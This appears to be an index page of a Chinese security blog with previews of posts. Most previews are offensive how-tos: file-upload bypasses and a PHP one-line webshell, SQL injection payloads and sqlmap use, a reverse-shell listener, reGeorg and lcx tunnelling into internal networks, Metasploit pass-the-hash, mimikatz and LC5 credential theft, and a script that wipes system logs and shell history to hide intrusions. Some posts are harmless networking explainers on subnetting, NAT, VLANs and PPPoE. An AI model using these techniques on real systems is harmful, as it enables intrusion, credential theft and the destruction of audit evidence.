• HW常见攻击方式 -- 文件上传及文件包含漏洞

    一、概念 文件上传漏洞,也就是常说的上传木马程序,一般先传小马,通过小马上传大马 文件包含漏洞,可以读取服务器本地文件 二、文件上传 1、本地上传限制不严格,头像上传,通过修改数据包上传文件后缀,可以绕过该限制。 选择一句话木马的php文件,提示只能上传JPEG和PNG文件 抓包,将Content-Type属性修改为:image/jpeg,点击发送 解释:MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开。如GIF图片MIME为Image/gCSs文件MIME类型为text/ss。上传时,程序会对文件MME类型做验证。 提示上传成功 菜刀连接 2、服务器配置不当,HTTP没有禁用PUT和OPTIONS请求方法 3、文件解析漏洞:Apche、Nginx、IIS Apache解析漏洞 Apache对文件解析是从右到左的,由于 Apache无法解析rar和owf后缀,但能够解析php后缀,因此 Apache会将 x.php owf.rar当做php格式的文件进行解析并执行 http://www.aiyoubucuo.com/x.php.owf.rar Nginx<8.03空字节代码执行漏洞 影响范围: Nginx0.5.0.6,0.7<=0.7.65,0.8<=0.8.37访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg%00.php IIS7.0/IIS7.5/ Nginx<0.8.3畸形解析漏洞 在默以 Fast-CGI开启状况下,访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg/.php IIS 5.x/6.0解析漏洞 目录解析:在网站下建立文件夹的名称中带有.asp、.asa等可执行脚本文件后缀为后缀的文件夹,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行 http://www.aiyoubucuo.com/x.asp/x.jpg 文件解析在IIS6.0下,分号后面的不被解析x. asp;.jpg将被当做x.asp解析并执行。 http://www.aiyoubucuo.com/x.asp;.jpg IIS6.0默认的可执行文件有asp、asa、cer、cdx四种。 4、文件路径截断:%00截断 00截断的原理,就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。 限制条件: 0X00截断是16进制的截断,需要修改16进制的数据头,使用burp在Hex中对数据进行改写 PHP<53.29, magic_quotes_gpc=OFF %00的使用是在路径上,不是在文件名中"a. php%00b jpg" 由于%00做了截断,所以最后服务器接收到的文件名依然还是 a. php,因为在接收的时候,就直接对url编码进行解码,然后再去接收文件,这时候的文件名就变成了a.php,后面的 b. jpg已经被截断 三、文件包含漏洞 1、概念 一些网站由于业务需求,提供文件下载功能,但如果对用户查看或下载的文件不受限制,则恶意用户就能够查看或下载任意敏感文件,如脚本代码,服务及系统配置文件等,如果得到代码可以进行代码审计,得到更多可利用漏洞直接执行代码的函数: 2、常用函数 eval()、 assert()、 system()、exec()、 shell exec()、 passthru()、 escapeshellcmd()、 pcnl_exec()等 eval():该函数把字符串按照PHP代码来计算,如常见的句话后门程序:<? php eval($_ POST[a])?> assert():该函数与eval类似,字符串被 assert()当做PHP代码来执行; 3、PHP中常见的导致文件包含的函数:  require:找不到被包含的文件时会产生致命错误( E COMPILE ERROR),并停止脚本 include:找不到被包含的文件时只会产生-个( E waring),脚本将继续执行 require_once:与 require类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 include once:与 include类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 4、重要文件路径 1、Unix/liux系统: /etc/passwd /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/usr/local/app/php5/lib/php.ini //PHP相关设置/etc/httpd/conf/httpd.conf //apache配置文件/etc/my.cnf //Mysql配置文件 2、Windows系统 C:\\boot.ini //查看系统版本C:\windows\\system32\\inetsrv\\MetaBase.xml //IIS配置文件C:\\Program files\\mysql\\my.ini //mysql配置C:\\Program Filed\\mysql\data\\mysql\\user.MYD //Mysql rootC:\\windows\\php.ini //php配置信息C:\\windows\\my.ini // Mysql配置文件 禁止非法,后果自负 ...

    2021-03-21 708
  • WebShell -- Linux反弹

    小攻:IP地址:192.168.139.129  Win7 小受:IP地址:192.168.139.128,Ubuntu 一、拿到webshell后,点击反弹提权 二、小攻运行nv -vv -l -p 3355 三、在反弹提权页面,输入小攻的地址及上面监听的端口号,点击开始连接 四、小攻已成功连接小受,输入命令函数whoami查看权限是www 五、查看该系统版本号uname -a,根据该版本号查找相应的EXP,上传到小受并执行 六、工具下载:加入交流群 禁止非法,后果自负 ...

    2021-03-20 597
  • HW常见攻击方式 -- SQL注入漏洞

    一、产生原因代码与数据不区分。程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生。 二、常见挖掘方式 直接对url中的参数(请求参数、请求头)进行注入 Burp抓取post包进行注入 三、判断注入点 单引号判断:如果出现错误回显,则该页面就可能存在sql注入 http://www.webanquangongjuku.com/aiyou.php?id=1' and判断: http://www.webanquangongjuku.com/aiyou.php?id=1' and 1=1 返回正常http://www.webanquangongjuku.com/aiyou.php?id=1' and1=2 如果报错,说明存在注入 or判断: http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=2 返回正常,说明存在注入 XOR判断:后面的语句如果是正确的,则返回错误页面,如果是错误的,则返回正确页面,说明存在注入点 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=2 加减号数字判断:返回的页面和前面的页面相同,加上-1,返回错误页面,则表示存在注入漏洞 http://www.webanquangongjuku.com/aiyou.php?id=10-1 四、GET请求注入流程: 1、判断是否存在注入 1' 1' and 1=1 2、判断可显示列 1' order by 2#1' order by 3# 1' union select 1,2# 3、查询版本号和数据库 1' union select version(),database()# 4、获取当前数据库的所有表名 1' union select 1,table_name from information_schema.tables where table_schema=database()# 5、获取users表的列名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 6、获取users表的user和password列 1' union select user,password from users# 五、POST请求注入流程 1、通过BurpSuite抓包 2、可以手动判断,但是能用sqlmap就不用手动,所以将该包保存到1.txt文件 sqlmap -r 1.txt 3、查看是不是管理员权限 sqlmap -r 1.txt --is-dba 禁止非法,后果自负 ...

    2021-03-19 649
  • WebShell -- 外网加入对方内网网络

    小攻:IP地址:192.168.1.103   win7 小受:IP地址:双网卡192.168.1.105/192.168.4.11  win2003 当拿到一台内网主机的时候,如何将攻击机加入到对方内网网络,可以通过reGeorg实现 一、下载地址(软件作者) https://github.com/sensepost/reGeorg 二、通过webshell将对应的文件上传到服务器,有php、jsp等等 三、运行reGeorg python reGeorgSocksProxy.py -p 1234 -uhttp://192.168.1.105/tunnel.aspx 四、打开代理工具Proxifier 1、添加代理 五、通过御剑扫描,如果不在一个内网就不能扫描,通过上面操作,就可以扫描另一个网卡了 六、工具下载:加入交流群 注意:软件均来自网络,不能保证安全性 ...

    2021-03-18 691
  • 后渗透阶段清理痕迹方式总结

    一、前言 在渗透完成之后,为了减少被发现和追溯的概率,攻击者有必要清除自己的攻击痕迹,本文分别对windows和linux上清理痕迹的方式做一个总结。 二、windows 有远程桌面权限时手动删除日志: 1 开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志 wevtutil: 1 2 3 4 wevtutil el 列出系统中所有日志名称 wevtutil cl system 清理系统日志 wevtutil cl application 清理应用程序日志 wevtutil cl security 清理安全日志 meterperter自带清除日志功能: 1 clearev 清除windows中的应用程序日志、系统日志、安全日志 清除recent: 在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮 或直接打开C:\Users\Administrator\Recent并删除所有内容 或在命令行中输入del /f /s /q “%userprofile%\Recent*.* 三、linux 清除命令历史记录 1 2 3 4 histroy -r #删除当前会话历史记录 history -c #删除内存中的所有命令历史 rm .bash_history #删除历史文件中的内容 HISTZISE=0 #通过设置历史命令条数来清除所有历史记录 在隐蔽的位置执行命令 使用vim打开文件执行命令 1 2 :set history=0 :!command linux日志文件 1 2 3 4 5 6 7 8 9 10 11 /var/run/utmp 记录现在登入的用户 /var/log/wtmp 记录用户所有的登入和登出 /var/log/lastlog 记录每一个用户最后登入时间 /var/log/btmp 记录错误的登入尝试 /var/log/auth.log 需要身份确认的操作 /var/log/secure 记录安全相关的日志信息 /var/log/maillog 记录邮件相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 /var/log/cron 记录定时任务相关的日志信息 /var/log/spooler 记录UUCP和news设备相关的日志信息 /var/log/boot.log 记录守护进程启动和停止相关的日志消息 完全删除日志文件: 1 2 3 4 5 cat /dev/null > filename : > filename > filename echo "" > filename echo > filename 针对性删除日志文件: 1 2 删除当天日志 sed -i '/当天日期/'d filename 篡改日志文件: 1 2 将所有170.170.64.17ip替换为127.0.0.1 sed -i 's/170.170.64.17/127.0.0.1/g' 一键清除脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/bash echo > /var/log/syslog echo > /var/log/messages echo > /var/log/httpd/access_log echo > /var/log/httpd/error_log echo > /var/log/xferlog echo > /var/log/secure echo > /var/log/auth.log echo > /var/log/user.log echo > /var/log/wtmp echo > /var/log/lastlog echo > /var/log/btmp echo > /var/run/utmp rm ~/./bash_history history -c ...

    2021-03-17 629
  • WebShell -- 外网远程连接内网

    一、环境: 1、内网主机IP:192.168.1.106  win2003 2、假设外网主机ip:192.168.1.104 win7 二、通过大马上传lcx.exe到服务器内网 1、将内网3389端口转发到外网2222端口 lcx.exe -slave 192.168.1.104 2222 127.0.0.1 3389 2、在攻击机win7监听2222本地端口,转发到4444端口 lcx.exe -listen 2222 4444 3、在攻击机win7中远程连接 三、利用工具转发reDuh 1、将软件自带的脚本拷贝到服务器中,根据不同环境,选择不同脚本 2、打开reDuh,将脚本文件上传的路径填写到URL,点击start,再点击create 3、打开远程连接,这个有点缓慢,但是可以连接成功的,详细见交流群视频教程 工具下载方式:加入交流群 ...

    2021-03-15 628
  • 某公司网络地址是202.117.240.0,被划分成16个子网,每个子网的子网掩码是多少?

    现在来讨论这个小问题,202.117.240.0这个是一个地址段,不是一个IP地址。 202.117.240.0网络的掩码是多少? 网络掩码能是255.255.255.255?如果是一个IP地址,那么应该写成 202.117.240.0/32,表示IP= 202.117.240.0属于网段202.117.240.0,这个网段只有一个IP地址,即202.117.240.0。 很显然,一个IP地址,无法平均分成16个子网。一个网段地址至少要包含16个地址,才有可能被16除,那么满足这个条件的网段要至少包含16个IP地址。 通过这篇文章的介绍知道以下信息: 202.117.240.0/32  这个网段有1个IP地址;202.117.240.0/31  这个网段有2个IP地址;202.117.240.0/30  这个网段有4个IP地址;202.117.240.0/29  这个网段有8个IP地址;202.117.240.0/28  这个网段有16个IP地址; 202.117.240.0/28黄色加亮的满足划分子网的能力,因为它包含16个IP地址,平均分成16个子网,每个子网包含一个IP地址,这16个IP地址的样子应该是这样的: 202.117.240.0/32202.117.240.1/32202.117.240.2/32202.117.240.3/32202.117.240.4/32。。。 202.117.240.13/32202.117.240.14/32202.117.240.15/32 一共16个IP地址。 继续玩上面的游戏,将网络掩码从28减小为27。202.117.240.0/27  这个网段有32个IP地址。32也可以被16整除,没有余数。 202.117.240.0/27一共32个地址,平均分成16份,每份的个数=2,用网络掩码来表示:202.117.240.0/31202.117.240.2/31202.117.240.4/31。。。202.117.240.28/31202.117.240.30/31 继续上面的游戏,将网络掩码从27减小为26。 202.117.240.0/26  这个网段有64个IP地址。64也可以被16整除,商=4,余数=0。 202.117.240.0/30202.117.240.4/30。。。202.117.240.56/30202.117.240.60/30 继续上面的游戏,将网络掩码从26减小为25。 202.117.240.0/25  这个网段有128个IP地址。128也可以被16整除,商=8,余数=0。 202.117.240.0/25被切割成16个子网,分别如下: 202.117.240.0/29202.117.240.8/29 。。。202.117.240.112/29202.117.240.120/29  继续上面的游戏,将网络掩码从25减小为24。 202.117.240.0/24  这个网段有256个IP地址。256也可以被16整除,商=16,余数=0。 202.117.240.0/24被切割成16个子网,分别如下: 202.117.240.0/28202.117.240.16/28202.117.240.32/28202.117.240.48/28202.117.240.64/28202.117.240.80/28202.117.240.96/28。。。202.117.240.208/28202.117.240.224/28202.117.240.240/28 还能继续玩吗?不能再玩了,因为再玩就把别人家的IP地址,分给了自己的孩子。让咱们试一试。 网络掩码从24减小为23。 202.117.240.0/23  这个网段有512个IP地址。512也可以被16整除,商=32,余数=0。 202.117.240.0/23被切割成16个子网,分别如下: 202.117.240.0/27 (自家的IP地址)202.117.240.32/27 (自家的IP地址)202.117.240.64/27 (自家的IP地址)202.117.240.96/27 (自家的IP地址)202.117.240.128/27 (自家的IP地址)。。。202.117.240.224/27 (自家的IP地址)202.117.241.0/27 (灰色部分,从这里开始都是别人家的IP地址)202.117.241.32/27。。。202.117.241.192/27202.117.241.224/27 所以,将202.117.240.0平均分成16个子网,202.117.240.0默认使用/24掩码,每个子网的掩码= “/28”。在没有约束网络掩码= /24的前提下,使用/28、/27、/26、/25也是可以的。使用/28表示该公司只拥有16个IP地址,使用/24表示该公司拥有256个IP地址。...

    2021-03-12 665
  • webshell后门分析

    一、访问上传的木马文件 http://192.168.1.104/1.asp 二、点击F12,打开谷歌自带的开发人员工具,点击network 三、输入密码,看看抓包情况,该木马会自动向某网站上传木马路径和密码 四、查看木马源文件,然后搜索该网址,随便修改为一个无效地址,该木马用的是反转加密,所以我们搜索不到,有时候是其他加密,需要解密才可以修改 注意:抓包的时候,有的后门不是一登录就发送的,也有可能停一段时间才发送,甚至当你退出的时候才发送 ...

    2021-03-11 543
  • 为何Ping不通电脑的公网IP?

    为什么我知道了自己pc的公网ip,还是ping不通呢?通过这个网站获得的ip www.ip138.com,并不能ping通。然后我在pc开了一个udp客户端进程,远程服务器也开了一个udp服务端进程,客户端发包给远程,可以收到回应,远程显示请求的ip也是对的。然后我在远程服务器开了一个客户端进程发包给我pc的ip,依旧没有反应。这是为什么呢。我电脑能看百度的网页说明我电脑的ip是有效的,百度也是可以响应。为什么反过来就请求它就卡住了? 为何Ping不通自己的公网IP?默认读者有NAT的基础知识。如果没有,可以在博客里找NAT章节阅读。 ISP对于出网(outbound)流量,需要在ISP网关上用自己的外网接口(Internet facing interface)的IP地址来替换IP报文的源IP地址,并将创建的替换关系以NAT表的方式下压到硬件FIB表里。当Ping报文的回复报文返回时,在硬件芯片匹配到刚刚生成的FIB表,所以返程流量可以进来,并最终到达你的电脑,那么你就可以Ping通。 为何Ping不通呢?网关禁止Ping,其实就是一个Inbound方向的ACL Deny过滤列表,这个ACL列表比FIB表更先看到Ping的回复报文。由于拒绝操作,报文被丢弃,所以无法Ping通。 为何可以访问远程UDP服务器,而远程服务器作为客户端却无法访问我电脑上的服务器? NAT网关,默认允许由内网(inside)主动发起的流量,而拒绝由外网(outside)主动发起的流量。 什么是内网(inside)主动发起的流量?你用电脑(inside)访问远程(outside)服务器,流量是内网的电脑触发的。 什么是外网(outside)主动发起的流量?远程服务器作为客户端(outside)访问你的电脑(inside)服务器,流量是外网的电脑触发的。 其实已经回答了你的第二个问题。当允许内网(inside)主动发起的流量,潜台词是,同时还允许返程流量。 远程服务器如何才能访问你的电脑呢?需要你的电脑在NAT网关上主动创建一个FIB表,一个FIB表条目其实就是一个小门,这个小门只允许曾经从这个小门出去的人,才能进来。如果不是从这个小门出去的人,对不起,无法进入。 这个小门其实就是一张转换表,假设你的电脑IP =192.168.1.2 , 使用2222端口访问服务器IP= 3.3.3.3 ,端口3333。  NAT网关生成的NAT表(192.168.1.2/2222, 3.3.3.3/3333)---(1.1.1.1/56789,3.3.3.3/3333)。 服务器看到的IP报文来自于1.1.1.1/56789。 NAT网关上小门的口令就是(1.1.1.1/56789,3.3.3.3/3333)。 服务器只要使用(3.3.3.3/3333)做为源IP/端口号,使用(1.1.1.1/56789)做为目的IP/端口号的IP报文,就可以从小门进入。 为了让小门永远敞开,需要双方用keep alive周期性刷新,否则小门会在没有流量刷新的情况下而超时删除,那么远程服务器的流量再也无法进入。只有让客户端主动发起流量,再创建一个小门才可以。...

    2021-03-09 779
  • Metasploit -- 利用Hash远程登录

    一、利用QuarksPwDump获取hash值 quarkspwdump --dump-hash-local --output 1.txt 二、利用msf远程登录 1、选择攻击模块 use exploit/windows/smb/psexec 2、设置相关参数 set rhosts 192.168.139.129set smbuser administratorset smbpass AAD3B435B51404EEAAD3B435B51404EE:AE15921C10DC81E86C2BFFED52D24A8F 3、run,运行 4、获取shell,如果有乱码使用chcp 65001解决 ...

    2021-03-09 674
  • 路由器能隔离广播,要VLAN有什么用?

    在上文用VLAN这把砍刀将一个超级大广播域,切割成N个小广播域,每一个小广播域用一个VLAN代表。每一个交换机的端口分配一个VLAN,拥有相同的VLAN的端口属于同一个VLAN,同一个广播域。 一个交换机有48端口,被平均分成3个VLAN,分别为VLAN 10、20、30,每个VLAN 有16个端口。当一个广播报文从任意一个端口接收到,只扩散到其中的15个端口。 问题来了,交换机与交换机之间的互联端口如果只有一个,分配什么VLAN比较合适呢? 10、20还是30? 都不合适。如果分配10,那么VLAN 20、30的广播报文就无法从互联端口流走。 有同学可能会说,交换机之间使用3个互联端口,分别分配10、20、30,可以完美解决问题。 但是这样会浪费端口资源。如果有100个VLAN的流量需要从交换机之间互联端口穿梭,则需要100个端口,每一个端口属于一个VLAN。而交换机只有48个端口啊,剩下的52个端口从哪里来? 以上的做法很不现实。解决这个问题很简单,只要让交换机之间的互联端口属于每一个VLAN,属于每一个广播域。交换机之间这种互联端口类型叫Trunk,属于任何广播域。 当广播报文需要进入交换机之间的互联端口,必须明确告知接收方交换机,该广播报文属于哪个广播域,哪个VLAN,那发送交换机是怎么做的呢? 很简单。只要在广播报文里嵌入一个VLAN标签,规范这项技术的标准是IEEE 802.1Q。 接收交换机只要从广播报文里将VLAN标签提取出来,然后将广播报文扩散到属于该VLAN的所有端口,包括Trunk口。上文说了,Trunk口默认属于所有广播域。 通过以上方式,一个广播报文唰地一下就扩散到所有属于该广播域(VLAN)的所有端口。而不属于该广播域(VLAN)的端口不会受到该条广播报文的骚扰,因为它们永远听不到这条广播。广播报文的隔离就是这样来实现的。 当然,任何时候都有特殊情况的发生。有些广播报文是交换机自身产生的,那么这个广播报文属于哪个广播域(VLAN)呢?  如果是ARP广播报文,通常是交换机的三层接口触发的,而三层接口会绑定二层接口。交换机根据二层接口属于哪个VLAN,以此来推断ARP广播报文属于哪个VLAN。然后打上VLAN标签,在该VLAN广播域里进行扩散。 如果是Cisco PVST+消息,每一个消息自己会携带自己的VLAN ID。 如果是RSTP消息呢,消息没有明确告知交换机VLAN值。交换机呢,也不着急,什么VLAN标签也不打,让消息在trunk里自由扩散。接收交换机收到之后也不着急,而是将任何没有携带VLAN标签的报文,默认认为是Native VLAN广播域的报文,并在Native VLAN广播域进行扩散。由于Native VLAN默认值 =1,而VLAN1一般不会分配给终端用户。所有终端用户永远也收不到类似的广播报文。 VLAN隔离广播报文讲的差不多了,继续讲报文开头的故事。 一台开机的电脑,发出DHCP广播报文,被交换机扩散到属于该VLAN(10)的广播域。DHCP大神也在VLAN10里,自然听到了。大神给电脑分配了一个IP地址、网络掩码、网关、DNS服务器,分别如下:  IP = 10.1.1.2 Mask = 255.255.255.0 Gateway = 10.1.1.1 DNS = 10.1.1.1  并将消息以单播的方式发给这台电脑。同学们这里会有点疑惑,电脑在获得IP地址之前,还没有IP地址,大神怎么将消息单播给这台电脑呢? 此时电脑虽然没有IP地址,默认使用0.0.0.0这个地址,这个地址是无意义的,大神也知道是无意义的,大神并不care。但是电脑有自己的MAC地址啊,大神发出的单播报文只要填写目的MAC = 这台电脑的MAC,是不是就可以将消息单播给这台电脑了? 是的。 坐在电脑后的老王登场了,想Ping 10.1.2.2这台电脑玩玩,敲完命令回车,老王盯着屏幕看,以下是屏幕背后发生的故事。 电脑发现10.1.2.2和自己10.1.1.2并不在一个广播域。有同学可能会问,电脑知道怎么这两个IP地址不在一个广播域的? 电脑想笑但是忍住了,一个广播域内每台电脑的网段必须相同,否则就不是一个广播域。显然 10.1.2.2的网段 = 10.1.2,10.1.1.2的网段= 10.1.1,两个网段号明显不相同。 既然不在一个广播域,老王的电脑10.1.1.2能ARP广播发现10.1.2.2的MAC地址吗?不能啊,不同的广播域有VLAN隔离着呢! 不在一个广播域,ARP广播也会被VLAN隔离,不会到达对方(10.1.2.2)的广播域,你觉得老王的电脑会发ARP广播请求对方的MAC地址吗? 不会的,电脑没那么傻! 无法发现对方的MAC地址,就无法完成二层以太协议头的封装,那么不同广播域的电脑就无法通信,囚徒困境? 并不是。 每个广播域都有一个特殊的角色,它的名字叫网关。网关可以代理转发不同广播域电脑之间的通信。比如上文中的网关=10.1.1.1就是这个特殊的角色。 老王电脑一旦发现对方和自己不在一个广播域,就会知道需要将Ping报文发给网关。虽然知道网关的IP = 10.1.1.1,但光知道这个还不行,还需要ARP广播获得网关的MAC地址才能把Ping报文扔给网关。 由于网关IP = 10.1.1.1 和老王的电脑IP = 10.1.1.2,属于同一个网段,同一个广播域,那么ARP广播自然可以到达网关,那么就可以获得网关的MAC地址。 老王电脑将Ping报文扔给网关,网关收到这个目的IP = 10.1.2.2 的Ping报文怎么处理呢? 电脑 收到目的IP = 自己的IP,会将报文扔给CPU处理。 收到目的IP≠自己IP的报文会直接扔掉,气量太小,所以做不了网关。  网关 收到目的IP = 自己的IP,也会将报文扔给CPU处理。这是网关的主机(End System)一面,和普通电脑没有任何区别。 网关如果收到目的IP≠自己IP,会查询路由表做流量转发,这是网关的路由器(Intermediate System )的另一面,这就是路由器区别于普通电脑的一面。  网关发现自己另外一个接口IP = 10.1.2.1/24 与Ping报文的目的IP =10.1.2.2在一个相同的广播域,于是认为目标主机应该就在这个广播域。于是发出ARP广播请求对方的MAC地址。一旦获得MAC地址,就可以将Ping报文扔给这台10.1.2.2电脑。 总结一下 路由器 作为每一个广播域的优秀代表,不光可以为自己服务,而且可以为广播域其它电脑服务。 路由器尽管气量很大,但是只服务单播报文。遇到广播报文只会扔给CPU,不会转发。 一个广播域的接口,使用不同的网段。如果试图使用相同的网段、或者部分重叠的网段,路由器会拒绝使用。   交换机 使用VLAN来隔离广播域,一个VLAN一个广播域。 ...

    2021-03-06 727
  • windows密码获取 -- LC5暴力破解Hash密码

    一、首先用QuarksPwDump导出hash值并存储到1.txt quarkspwdump --dump-hash-local --output 1.txt 二、下载并安装LC5并注册 1、下载地址:加入交流群 2、双击lc5setup一路下一步, 3、将hashgen和lc5替换了原文件 4、双击lc5,并打开注册机,点击administrator 三、使用方法 1、点击会话,导入1.txt 2、点击运行符号,实现破解 ...

    2021-03-05 711
  • 路由器能隔离广播,要VLAN有什么用?

    路由器能隔绝广播,那要VLAN有什么用?既配置了VLAN又划分在不同的网段是不是有些多余了? 透彻理解每一个字的真正涵义,有时并不那么容易。以下文字为了尝试让同学们透彻理解这些字的真正涵义。 什么是广播(Broadcast)? 广播报文,就是任何主机无条件接收的报文。无条件这三个字就不多解释了,可以理解为必须、强制的。 广播报文,如果没有IP协议头,只有Ethernet协议头,那么就是二层广播,二层广播地址 = FF:FF: FF:FF: FF:FF。 如果有IP协议头,那么就是三层广播,三层广播地址 = 255.255.255.255。 既然有广播,就会有单播(Unicast)。  什么是单播(Unicast)?如果高音喇叭是广播,管你愿不愿意听,你一定能听到。单播就是你和朋友在打电话,两者参与的点对点通信。  为何要有广播?广播报文都用在什么地方? 电脑开机的时候,需要一个IP地址与外部的世界通信。哪位大神能做点慈善事业,给这台电脑分配一个IP地址啊?这位做慈善事业的大神名字叫:DHCP服务器。 电脑并不知道有没有大神,也不知道大神的IP地址。如果知道大神的IP地址,就可以与大神单播通信了,对吗? 电脑并不care这些。每台电脑开机的时候都会使用广播来碰碰运气,于是发出了一个DHCP广播报文。 DHCP广播报文从网口流出去了,流到哪里去了? 交换机。 交换机怎么来处理这个广播报文? 交换机检查DHCP广播报文的目的MAC= FF:FF: FF:FF: FF:FF,知道这是一个广播报文。然后怎么处理? 需要将这个DHCP广播报文,发给这个广播域中的每一个端口。因为广播的涵义是每一个端口连接的电脑都需要接收,交换机这么做很好理解吧? 什么又是广播域呢?广播域,就是一个广播报文可以扩散的势力范围。比如,高音喇叭(广播),它的扩散范围就是一个广播域。默认情况下,交换机所有端口处于一个广播域。假设交换机有48个端口,那么这48个端口都处于同一个广播域。 交换机会将DHCP广播报文复制(copy)47次,将报文依次从47个端口流出(outgoing)。不是48个端口吗?怎么只从47个端口流出?其中有一个进口(incoming),即交换机接收到DHCP广播报文那个端口,需要剔除出去。 不要忘记,一个大型的网络可能有成百上千台交换机,上文中的47个端口通常会有1-2个端口连接其它交换机。那么DHCP广播报文就顺利地流到了其它交换机,然后继续扩散到所有端口。而其它的交换机还会连接着另外的交换机,就这么循环下去。假设网络里有100台交换机,一共48 * 100 = 4800个端口,那么4799个端口都会收到DHCP广播报文。 如果每个端口都连着电脑,那么4799个DHCP广播报文,就会产生4799次网卡的硬件中断,中断CPU的正在处理的工作,来处理这个DHCP广播报文。对于99.9%的电脑来说,完全是一种地地道道的骚扰,因为它们压根不是DHCP服务器大神,中断CPU难道很好玩吗? 不就是4799次广播报文吗?计算机CPU高速计算能力处理起来还不是小菜一碟? 如果4800台电脑都发一次DHCP广播报文呢?那么就是4800 *4800 = 23,035,200 。 如果是48000台电脑,每台主机一天发100个报文呢? 48000 * 48000 * 100 = 230400000000 次报文复制/天。 广播报文不光骚扰电脑的CPU,还消耗交换机硬件吞吐能力。你以为交换机的复制报文行为是很轻松的事吗? 其实并不是,复制报文的操作一样会消耗硬件资源,一样会消耗内部数据总线资源。 站着说话轻松,是因为我们并不知道交换机背后所付出的努力。而为了保护交换机被广播报文的骚扰,以及保护那些电脑的CPU的免受广播的骚扰,必须将广播域的势力范围大大缩小。用哪把砍刀将广播域的势力范围砍小呢? 砍刀的名字叫VLAN! VLAN 不同的电脑属于不同的业务部门,相同的业务部门使用同一个VLAN,一个VLAN就是上文的一个广播域。 只要将交换机端口分配到不同的VLAN里,就可以实现将交换机端口划分到不同的广播域。这句话如果看不懂,实在抱歉,真的帮不上你了。 接下来就简单了,对于入口(incoming)的广播报文,需要转发到哪些出口(outgoing)呢? 那么就根据入口(incoming port)属于哪个VLAN,然后把属于该VLAN的所有端口过滤出来,广播报文只转发到这些过滤出来的端口(入接口除外),因为它们属于一个广播域。而不要将广播报文发到所有的端口。...

    2021-03-05 757
  • Burpsuite系列 -- burp2021.03安装使用

    声明:该软件来源网络,仅供学习交流 一、下载地址:加入交流群 二、解压后,双击打开BurpSuite点击 三、打开BurpSuiteLoader,将license信息复制到过去,点击next 四、选择manual activation 五、copy request到activation request,再将activation response复制过去,点击next 六、点击完成,一路下一步 ...

    2021-03-05 559
  • windows密码获取 -- mimikatz

    一、软件介绍 一款获取windows账号密码的软件 二、下载地址(软件作者) https://github.com/gentilkiwi/mimikatz 或加入Kirin博客交流群下载 三、使用方法 1、解压后双击打开,分32位和64位 2、输入下面两行命令,直接获取密码 privilege::debug sekurlsa::logonpasswords ...

    2021-03-04 549
  • 为何主机的IP地址和网关一样还能上网?

    为什么IP地址和网关一样还能上网,这样默认路由不就是自己了吗? 电信的网,固定IP,给了一个公网地址,IP地址(中间隐藏了):60.*.*.239,掩码:255.255.255.0,网关:60.*.*.239,网关的地址和IP是一样的,这样的话默认路由的下一跳不就是自己了吗,但是可以上网,百度搜索IP显示的地址也和电信给的一样60.*.*.239。 这里的网关,可以是任何IP地址,如果你喜欢,可以换成6.6.6.6或8.8.8.8等幸运数字也是可以上网的。 为什么呢?这里使用了PPPoE拨号技术,在这台网络设备与电信NAS网关之间动态创建了一条P2P(Point to Point)的隧道。隧道的本地虚拟接口假设为VA1,所有非60.x.x.0/24网段的流量都会通过VA1接口流出本地。 为何要从VA1流出本地?因为系统创建一条默认路由,类似于: 0.0.0.0/0  ------------ >   VA1 VA1其实类似与ethernet接口。当我们使用ethernet接口来上网时,IP报文需要通过ethernet接口流出时,ethernet接口必须做的一件事是封装(Encapsulation): Ethernet+ IP报文 有读者说,封装之前,至少还需要目的MAC地址,不是吗?是的,需要ARP广播来发现网关的MAC地址,然后“Ethernet + IP报文“就可以流出网口了,对吗? Okay,当用户的IP报文需要从VA1接口流出时,VA1接口必须做的一件事也是封装: PPPoE + IP报文 然后呢,这个“PPPoE + IP报文“能长出翅膀飞走? 不能。 既然不能,那么这个报文最终还是要乖乖地从ethernet接口(网口)这个物理接口流出。既然要从ethernet接口流出,一定要遵守ethernet接口的潜规则,必须完成封装: Ethernet + PPPoE + IP报文 这里ethernet封装也需要目的MAC地址,对吗? 是的。 是否也需要使用ARP广播来发现NAS网关的MAC地址? 不需要。 为什么? 因为PPPoE握手协商阶段,已经通过Discovery、Offer等报文提前获得了PPPoE服务器(NAS网关)的MAC地址。既然知道了,就没有必要ARP广播了。 于是就发生了神奇的一幕,报文最终通过ethernet接口流出,但是竟然没有使用ARP广播。 当报文顺着ISP的接入网络一路流到NAS网关时,NAS网关干两件事:  剥离Ethernet封装,因为目的MAC地址是自己的,否则直接丢弃 剥离PPPoE封装,根据剩下的IP裸报文继续路由转发 网关的地方既然任何IP地址都可以,那能否是空白的? 应该不可以,如果空白,将不会有上文那条默认路由。 最后一点,NAS网关的下行方向的路由是什么样子的? 60.x.x.239/32  ------------ >   VAn 这里的网络掩码为何是32,而不是24? 欢迎加入交流群一起讨论!...

    2021-03-03 715
  • 同一个IP使用不同网络掩码,会发生什么?

